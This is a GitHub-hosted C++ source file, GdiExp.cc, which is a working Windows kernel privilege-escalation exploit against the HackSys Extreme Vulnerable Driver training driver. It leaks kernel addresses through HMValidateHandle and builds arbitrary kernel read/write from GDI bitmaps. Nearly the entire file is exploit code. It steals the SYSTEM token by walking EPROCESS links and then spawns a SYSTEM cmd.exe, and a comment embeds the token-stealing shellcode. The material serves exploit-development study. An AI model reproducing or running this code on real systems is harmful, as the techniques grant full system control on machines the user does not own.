-
Notifications
You must be signed in to change notification settings - Fork 40
/
GdiExp.cc
446 lines (376 loc) · 11.5 KB
/
GdiExp.cc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
/*
leak lpszMenuName using HMValidateHandle, that is allocated on the same pool region
as the bitmap object, in order to later use in an arbitrary overwrite bug.
using SeBitmapBits & GetBitmapBits as w/r op.
Ref:
https://github.com/FuzzySecurity/HackSysTeam-PSKernelPwn/blob/master/Kernel_RS2_WWW_GDI_64.ps1
https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp
Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem <= 360Vulcan
LPE vulnerabilities exploitation on Windows 10 Anniversary Update <= Drozdov Yurii & Drozdova Liudmila
<----
Copy & usage of this software are allowed without any restrictions.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
---->
*/
#pragma once
#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
#include <cstdint>
#include <conio.h>
#pragma comment(lib, "Gdi32.lib")
#include <Wingdi.h>
#define hDev "\\\\.\\HacksysExtremeVulnerableDriver"
typedef void*(NTAPI *lHMValidateHandle)(
HWND h,
int type
);
typedef struct _hBmp {
HBITMAP hBmp;
DWORD64 kAddr;
PUCHAR pvScan0;
} HBMP, *PHBMP;
LRESULT
CALLBACK MainWProc(
HWND hWnd, UINT uMsg,
WPARAM wParam, LPARAM lParam
)
{
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
lHMValidateHandle pHmValidateHandle = NULL;
// https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp
BOOL
GetHMValidateHandle(
)
{
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
exit(GetLastError());
}
BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
exit(GetLastError());
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xe8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
exit(GetLastError());
}
unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;
}
PUCHAR
GetNtos(
)
{
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef NTSTATUS(__stdcall *pfZwQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
PVOID Nt = NULL;
pfZwQuerySystemInformation ZwQuerySystemInformation = (pfZwQuerySystemInformation)GetProcAddress(
GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation");
ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(
NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo) { return NULL; }
ZwQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
Nt = ModuleInfo->Module[0].ImageBase;
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return (PUCHAR)Nt;
}
DWORD64
GetPsInitialSystemProcess(
)
{
PUCHAR NtBaddr = (PUCHAR)GetNtos();
printf("[+] ntoskrnl Base Addr: %p\n", NtBaddr);
PUCHAR ntos = (PUCHAR)LoadLibrary(L"ntoskrnl.exe");
PUCHAR addr = (PUCHAR)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
auto Psi = addr - ntos + NtBaddr;
printf("[+] PsInitialSystemProcess: %p\n", Psi);
return (DWORD64)Psi;
}
ATOM
RegisterhWnd(
LPCWSTR class_name,
LPCWSTR menu_name
)
{
WNDCLASS wind_class = WNDCLASS();
wind_class.lpszClassName = class_name;
wind_class.lpszMenuName = menu_name;
wind_class.lpfnWndProc = MainWProc;
return RegisterClassW(&wind_class);
}
void
DestroyWnd(
HWND hWnd
)
{
DestroyWindow(hWnd);
UnregisterClassW(L"aaa",NULL);
}
HWND
CreateWindowObject(
)
{
WCHAR* Buff = new WCHAR[0x8F0];
RtlSecureZeroMemory(Buff, 0x8F0);
RtlFillMemory(Buff, 0x8F0, '\x41');
ATOM Cls = RegisterhWnd(L"aaa" ,Buff);
return CreateWindowExW(0, L"aaa", NULL, 0, 0, 0, 0, 0, 0, 0, NULL, 0);
}
DWORD64
LeaklpszMenuName(
HWND hWnd
)
{
DWORD64 pCLSOffset = 0xa8;
DWORD64 lpszMenuNameOffset = 0x90;
BOOL bRet = GetHMValidateHandle();
void* lpUserDesktopHeapWindow = pHmValidateHandle(hWnd, 1);
uintptr_t ulClientDelta = *reinterpret_cast<DWORD64 *>((DWORD64*)(lpUserDesktopHeapWindow) +0x20) - (DWORD64)(lpUserDesktopHeapWindow);
uintptr_t KerneltagCLS = *reinterpret_cast<DWORD64 *>((DWORD64)lpUserDesktopHeapWindow+ pCLSOffset);
DWORD64 lpszMenuName = *reinterpret_cast<DWORD64 *>(KerneltagCLS - ulClientDelta + lpszMenuNameOffset);
return lpszMenuName;
}
BOOL
Leak(
_In_ int y,
_In_ HBMP &hbmp
)
{
DWORD64 Curr, Prev = NULL;
for (int i = 0; i <= 200; i++) { // This is unstable, need a fix...
// the ulClientDelta is dancing beetwin values
// & it makes the exploit unstable it a one out of 15...
HWND TestWindowHandle = CreateWindowObject();
Curr = LeaklpszMenuName(TestWindowHandle);
if (1<=i) {
if (Curr == Prev) {
DestroyWnd(TestWindowHandle);
WCHAR* Buff = new WCHAR[0x50 * 2 * 4];
RtlSecureZeroMemory(Buff, 0x50 * 2 * 4);
RtlFillMemory(Buff, 0x50 * 2 * 4, '\x41');
hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff);
hbmp.kAddr = Curr;
hbmp.pvScan0 = (PUCHAR)(Curr + 0x50);
return TRUE;
}
}
DestroyWnd(TestWindowHandle);
Prev = Curr;
}
WCHAR* Buff = new WCHAR[0x50 * 2 * 4];
RtlSecureZeroMemory(Buff, 0x50 * 2 * 4);
RtlFillMemory(Buff, 0x50 * 2 * 4, '\x41');
hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff);
hbmp.kAddr = Curr;
hbmp.pvScan0 = (PUCHAR)(Curr + 0x50);
return TRUE;
}
DWORD64
BitmapArbitraryRead(
HBITMAP &Mgr, // Send a Fkin reference!
HBITMAP &Wrk,
DWORD64 addr
)
{
LPVOID bRet = VirtualAlloc(
0, sizeof(addr),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
auto m = SetBitmapBits(Mgr, sizeof(addr), (LPVOID *)&addr);
if (m == 0) {
printf("error setting bits!");
}
if (GetBitmapBits(Wrk, sizeof(bRet), bRet) == NULL) {
printf("err");
}
auto retV = *((DWORD64 *)bRet);
VirtualFree( bRet, sizeof(bRet), MEM_FREE | MEM_RELEASE );
return retV;
}
DWORD64 BitmapArbitraryWrite(
HBITMAP &Mgr,
HBITMAP &Wrk,
DWORD64 addr,
DWORD64 Val
)
{
SetBitmapBits(Mgr, 8, (LPVOID *)&addr);
if (SetBitmapBits(Wrk, 8, &Val) == 0) {
return -1;
}
return(0);
}
int
main(
)
{
printf("\n[!] gdi feng shui ..\n");
printf("[>] Spraying the pool\n");
printf("[>] leaking ulClientDelta...\n");
HBMP managerBitmap;
HBMP workerBitmap;
if (!Leak(0, managerBitmap)) {
exit(GetLastError());
}
if (!Leak(1, workerBitmap)) {
exit(GetLastError());
}
printf("\n[+] pHmValidateHandle: %p \n", pHmValidateHandle);
printf("[+] hMgr: %p\n", &managerBitmap.hBmp);
printf("[+] hWorker: %p\n", &workerBitmap.hBmp);
printf("[+] Mgr pvScan0 offset: %p\n", managerBitmap.kAddr & -0xfff);
printf("[+] Wrk pvScan0 offset: %p\n", workerBitmap.kAddr & -0xfff);
//getch();
byte Buff[sizeof(LPVOID) * 2] = { 0 };
LPVOID wPtr = VirtualAlloc(0, sizeof(LPVOID), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(wPtr, &workerBitmap.pvScan0, sizeof(LPVOID));
memcpy(Buff, &wPtr, sizeof(LPVOID));
memcpy(Buff + sizeof(LPVOID), &managerBitmap.pvScan0, sizeof(LPVOID));
DWORD u = 0;
auto dev = CreateFileA(
hDev,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL
);
if (dev == INVALID_HANDLE_VALUE) {
exit(GetLastError()); }
printf("\n[>] ldr\n");
printf("[+] Opened Device Handle at: %p\n", &dev);
printf("[+] Device Name: %s\n", hDev);
printf("[+] Sending Ioctl: %p\n", 0x22200B);
printf("[+] Buffer length: %d\n", sizeof(LPVOID) * 2);
auto bResult = DeviceIoControl(
dev,
0x22200B,
Buff,
sizeof(Buff),
NULL, 0,
&u,
(LPOVERLAPPED)NULL
);
if (!bResult) {
CloseHandle(dev);
exit(GetLastError());
}
CloseHandle(dev);
DWORD64 EpPtr = GetPsInitialSystemProcess();
printf("\n[!] running exploit...\n\n\n");
/*
This is The ShellCode used to OverWrite The Token...
it worked in the asseambly so no reason it wont work here...
;; kd> dps gs:188 l1
;; nt!KiInitialThread
mov rax, [gs:0x188]
mov rax, [rax+0xb8]
;; kd> dt nt!_EPROCESS poi(nt!KiInitialThread+b8)
;; +0x000 Pcb : _KPROCESS
;; [...]
;; +0x2e0 UniqueProcessId : 0x00000000`00000004 Void
;; +0x2e8 ActiveProcessLinks : _LIST_ENTRY
;; [...]
;; +0x358 Token : _EX_FAST_REF
;;
;; place KiInitialThread+b8
;; in rbx.
mov rbx, rax
loop:
mov rbx, [rbx+0x2e8] ;; Get the next process
sub rbx, 0x2e8
mov rcx, [rbx+0x2e0] ;; place process in rcx
cmp rcx, 4 ;; Compare to System pid.
jnz loop
mov rcx, [rbx + 0x358]
and cl, 0xf0 ;; Null the token
mov [rax + 0x358], rcx
*/
DWORD64 SystemEP = BitmapArbitraryRead(
managerBitmap.hBmp, workerBitmap.hBmp, EpPtr);
if (SystemEP == -1) {
return -1;
}
DWORD64 TokenPtr = SystemEP + 0x358;
DWORD64 SysToken = BitmapArbitraryRead(
managerBitmap.hBmp, workerBitmap.hBmp, TokenPtr);
if (SysToken == -1) {
}
printf("System TOKEN: %p\n", SysToken);
DWORD PID = GetCurrentProcessId();
DWORD64 NextEpPtr = BitmapArbitraryRead(
managerBitmap.hBmp, workerBitmap.hBmp, (
((DWORD64)SystemEP) + ((DWORD64)0x2e8))) - 0x2e8;
DWORD64 CurrentToken = 0;
while (TRUE) {
DWORD64 NextProcessPID = BitmapArbitraryRead(
managerBitmap.hBmp, workerBitmap.hBmp, ((DWORD64)NextEpPtr + 0x2e0));
if (NextProcessPID == PID) {
CurrentToken = BitmapArbitraryRead(
managerBitmap.hBmp, workerBitmap.hBmp, ((DWORD64)NextEpPtr + 0x358));
printf("Our TOKEN: %p\n\n\n", CurrentToken);
break;
}
NextEpPtr = BitmapArbitraryRead(
managerBitmap.hBmp, workerBitmap.hBmp, (
(DWORD64)NextEpPtr + 0x2e8)) - 0x2e8;
}
BitmapArbitraryWrite(managerBitmap.hBmp, workerBitmap.hBmp, (
(DWORD64)NextEpPtr + 0x358), ((DWORD64)SysToken & -0xf)); // Null The Damn Ref_count...
system("cmd.exe");
return 0;
}